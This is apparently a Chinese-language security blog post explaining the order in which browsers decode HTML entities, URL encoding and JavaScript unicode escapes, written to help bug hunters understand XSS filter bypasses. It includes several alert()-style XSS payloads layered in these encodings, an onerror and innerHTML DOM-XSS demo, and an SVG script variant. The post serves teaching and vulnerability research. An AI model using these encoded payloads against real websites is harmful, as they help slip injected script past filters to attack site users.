0%

xss之浏览器的编码与解码

xss之浏览器的编码和解码

在做一些xss的过滤和绕过时,总是使用各种编码绕过,有时候是unicode,有时候是urlencode,有时候是HTML实体化编码,但是很多时候都是直接fuzz,对于存在xss的漏洞点,并没有清楚的分析和认识,对于浏览器的编码和解码没有系统的认识,这会导致我们的payload理解不到位,从而错失很多个src中的xss漏洞。为了以后能更好的挖掘xss漏洞和更快的fuzz出过waf手法。今天就来详细梳理下浏览器的编码和解码过程。

浏览器工作过程

我们都知道网上有很多人写了一个”url点击后电脑都做了什么”,如果感兴趣可以去看看。这里不在赘述请求服务端的流程,这里主要梳理的是一个页面响应后浏览器是如何渲染给我们看的。

浏览器是可以解析html、svg、xhtml的,我们日常使用的网页也基本都是这三种格式,浏览器首先将响应的HTML类文本解析为DOM树。当然CSS解析也会解析为CSS的TREE,但是这里不讨论CSS。我们下面都以HTML举例

浏览器通过解析HTML为DOM 树并通过开始标签、结束标签和标签的属性、方法等根据算法进行解析的。所以浏览器首先是解析HTML,然后根据标签构建DOM树,此时浏览器是没办法识别实体编码的那些内容的,构建完dom树后,浏览器才会对标签里的内容进行解析,然后遇到实体编码的话会解码。所以实体化编码的标签是不会构建为节点的(所以实体化编码很多时候都有用)。

浏览器通过上述的步骤来解析各个标签,最终结合javascript的引擎和CSS的引擎完成对整个页面的操作和渲染。

浏览器的解码顺序

页面响应后浏览器拿到了HTML的页面文本,浏览器首先根据节点构建DOM树,构建的时候是不会进行解码的,所以如果你输入一个

1
<img src&#x3d;"http://xxx.com/1.jpg">

即使http://xxx.com/1.jpg真的是一张图片也可以访问到,这个img标签也是显示不出来的,因为构建的时候没有解码,src不会被认为是一个链接,也就没有了这个属性。

javascript在html解析中也存在一定的作用,会参与其dom树的构建。所以这并不是线性顺序的。比如dom型xss,但是大方向上,解析还是先html的解析。

DOM节点建立起来以后就要进行解析了,比如他遇到script标签就需要JavaScript来解析,当遇到style就给css的解析器。src、href这种链接形式的会调用URL解码、同时对于一些伪协议,也会调用相应的解析器。

比如下面这个例子:

1
<a href="javascript:%61%6c%65%72%74">123</a>

这个例子是可以弹窗的,因为dom树构建后,解析过程中发现href为一个链接,会进行urldecode,然后因为javascript伪协议,会交给javascript来解析,最终造成代码执行。

当然javascript本身就支持unicode,所以下面这样也是可以弹窗的:

1
2
<a href="javascript:%5c%75%30%30%36%31%6c%65%72%74(123);">12345</a>
<!-- 需要注意的是括号、引号 不能被unicode替代,否则js不会认为这是需要解码的方法或者字段,只会被当作字符串。 -->

下面我们用两张图来看下浏览器工作和解码的流程:

图一DOM树:

![image-20221026102503733](/Users/geez/Library/Application Support/typora-user-images/image-20221026102503733.png)

图二构建流程:

![image-20221026102859384](/Users/geez/Library/Application Support/typora-user-images/image-20221026102859384.png)

如上面两个图所示,HTML解析构建DOM->script参与构建DOM->DOM TREE构建完后会进行HTML解码->rendering渲染(如果中间遇到URL会进行URLDECODE)

既然了解了解析的流程,那么我们也得了解下可以自解码的编码有哪些?

HTML有两种编码方式:进制编码和实体编码。

1
2
3
&lt;
&#60
&#x61

JavaScript自解码有三种:Unicode,十进制,十六进制

注意:在js中,单引号,双引号和圆括号等属于控制字符,编码后将无法识别,所以下面这种无法执行:

1
2
3
4
# 不可以执行
<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029>
#可以执行
<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074('\u0031')>

URL只有一种编码方式就是URL,这个很好理解。

在实践中理解

下面是一个常用的xss payload

1
<a href="javascript:alert(123)">1</a>

因为javascript解析器可以解析unicode,所以我们可以变种:

1
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(123)">1</a>

因为href是一个链接所以肯定会被URL解码,所以我们可以变种

1
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%32%33%29">1</a>

现在因为构建DOM树的时候会对HTML进行自解码,所以我们可以变种

1
<a href="&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0036;&#x0025;&#x0033;&#x0031;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0036;&#x0025;&#x0036;&#x0033;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0036;&#x0025;&#x0033;&#x0035;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0037;&#x0025;&#x0033;&#x0032;&#x0025;&#x0035;&#x0063;&#x0025;&#x0037;&#x0035;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0030;&#x0025;&#x0033;&#x0037;&#x0025;&#x0033;&#x0034;&#x0025;&#x0032;&#x0038;&#x0025;&#x0033;&#x0031;&#x0025;&#x0033;&#x0032;&#x0025;&#x0033;&#x0033;&#x0025;&#x0032;&#x0039;">3333</a>

现在我们对于这种浏览器的编码有个基本的认识了,但是前面说到这个javascript可以操纵dom,进行动态生成节点,也是产生domxss的重要原因,下面这个解码就比较复杂了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<img id="a" src="http://baidu.com">
<!-- <input value="修改URL" id="b"> --><input type="button" value="确定" onclick=modify_src()>
<script type="text/javascript">
function modify_src(value){
var a = document.getElementById("a");
var b = document.getElementById("b");
// 用户可控点value
a.innerHTML="<img src=# onerror=alert(123)>";
}
// // html编码函数
// function htmlEncodeByRegExp(str) {
// var temp = "";
// if (str.length == 0) return "";
// temp = str.replace(/&/g, "&amp;");
// temp = temp.replace(/</g, "&lt;");
// temp = temp.replace(/>/g, "&gt;");
// temp = temp.replace(/\'/g, "&#39;");
// temp = temp.replace(/\"/g, "&quot;");
// return temp;
// }
</script>
</body>
</html>
</body>
</html>

看看上面这个如果innerHTML可控会有多少种编码方式?如果你真的理解了这里就不再赘述,应该是多层unicode和HTML编码可以混用依然执行弹窗。

所以,得出结论,在大多数情况下如果必须插入标签才能触发的xss实体化编码还是好用的,当然,具体情况要具体分析

另外我们在一些过滤绕过中,发现svg的出场次数也挺高的,这是因为svg是可以内嵌其他标签,同时会被html解码

1
2
<svg>
<script>&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0031;&#x0031;&#x0031;&#x0029;</script></svg>

总结

HTML解析、CSS解析、JS解析和URL解析。这四个解析器的解析顺序搞懂,XSS的编码绕过问题就比较容易理解了,遇到一些SRC的xss点也可以绕过的更从容一点。

Refrence


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」